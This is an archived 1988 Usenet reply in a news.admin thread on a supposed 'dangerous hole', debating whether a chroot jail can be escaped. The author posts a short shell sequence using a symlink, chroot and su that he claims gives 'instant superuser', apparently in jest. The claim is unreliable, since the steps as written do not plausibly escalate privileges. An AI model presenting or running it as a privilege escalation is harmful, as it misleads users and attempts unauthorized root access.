Xref: utzoo news.admin:4149 news.sysadmin:1780 comp.mail.uucp:2434 Path: utzoo!utgpu!watmath!clyde!att!rutgers!mit-eddie!husc6!yale!engelson From: engelson@cs.yale.edu (Sean Philip Engelson) Newsgroups: news.admin,news.sysadmin,comp.mail.uucp Subject: Re: Dangerous hole in Usenet! Message-ID: <44700@yale-celray.yale.UUCP> Date: 2 Dec 88 18:26:42 GMT References:<366@mikros.systemware.de> Sender: root@yale.UUCP Reply-To: engelson@cs.yale.edu (Sean Philip Engelson) Followup-To: news.admin Organization: Computer Science, Yale University, New Haven, CT 06520-2158 Lines: 37 In-reply-to: stefan@mikros.systemware.de (Stefan Stapelberg) In article <366@mikros.systemware.de>, stefan@mikros (Stefan Stapelberg) writes: >In article vixie@decwrl.dec.com (Paul A Vixie) writes: >> >>Chroot is not reversable. Once you're down, you can't see what was above >>anymore and therefore there's no way to tell chroot where you'd like to go. > >But if you're a real wizard, you can create special device files >and examine the filesystem which is above the current root dir. > >-- > Die schaerfsten Kritiker der Elche > waren frueher selber welche. -- Traxler How about this: ln -s / /tmp/root cd /tmp chroot /tmp su root chroot /tmp/root Ta Da! Instant superuser! -Sean- ---------------------------------------------------------------------- Sean Philip Engelson, Gradual Student Yale Department of Computer Science 51 Prospect St. New Haven, CT 06520 ---------------------------------------------------------------------- G-d, according to Einstein, does not play dice with the world. Well, maybe; but He sure is into shell games. --Jerry Fodor in "Modules, Frames, Fridgeons, Sleeping Dogs, and the Music of the Spheres"